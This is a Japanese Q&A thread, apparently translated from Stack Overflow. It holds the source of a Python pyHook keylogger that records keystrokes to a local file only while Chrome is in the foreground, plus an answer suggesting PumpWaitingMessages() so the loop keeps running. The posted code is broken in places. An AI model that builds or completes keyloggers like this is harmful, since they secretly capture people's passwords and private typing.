0

Python で簡単なキーロガーを作成しましたが、Google Chrome がフォアグラウンド アプリケーションの場合にのみ実行するようにします (ユーザーが Google Chrome 内にいる場合のみ、キーロガーはフックします。ユーザーが Chrome を離れると、キーロガーは停止します)ユーザーが初めて Chrome に入ったときは完全に機能しますが、フォアグラウンド アプリが別のアプリに切り替えられた場合、キーロガーは継続します。問題は pythoncom.Pupmessages() の行にあることがわかりました。この行の後にコードが続くことはありません。誰かが解決策を持っていますか?

import win32gui
import win32con
import time
import pyHook
import pythoncom
import threading

LOG_FILE = "D:\\Log File.txt"

def OnKeyboardEvent(event): # on key pressed function
    if event.Ascii:
        f = open(LOG_FILE,"a") # (open log_file in append mode)
        char = chr(event.Ascii) # (insert real char in variable)
    if char == "'": # (if char is q)
        f.close() # (close and save log file)
        exit() # (exit program)
    if event.Ascii == 13: # (if char is "return")
        f.write("\n") # (new line)
        f.write(char) # (write char)

def main():
    time.sleep(2)
    hooks = pyHook.HookManager()
    # Finding the Foreground Application at every moment.
    while True:
        time.sleep(0.5)
        newWindowTile = win32gui.GetWindowText(win32gui.GetForegroundWindow())
        print newWindowTile
    # Cheking if google chrome is running in the foreground.
    if 'Google Chrome?' in newWindowTile:
        hooks.KeyDown = OnKeyboardEvent
        hooks.HookKeyboard()
        pythoncom.PumpMessages()
        time.sleep(2)
if __name__ == "__main__":
    main()
4

1 に答える 1

2

pythoncom.PumpWaitingMessages()ブロックしていないもの を使用する必要があります。pc.PumpWaitingMessages()

これにより、コードが続行されないように修正されるはずです。

PumpWaitingMessages:現在のスレッドのすべての待機中のメッセージをポンプします。

PumpMessages: WM_QUIT メッセージまで、現在のスレッドのすべてのメッセージをポンプします。

出典: Pythoncom のドキュメント

于 2015-06-27T13:58:54.660 に答える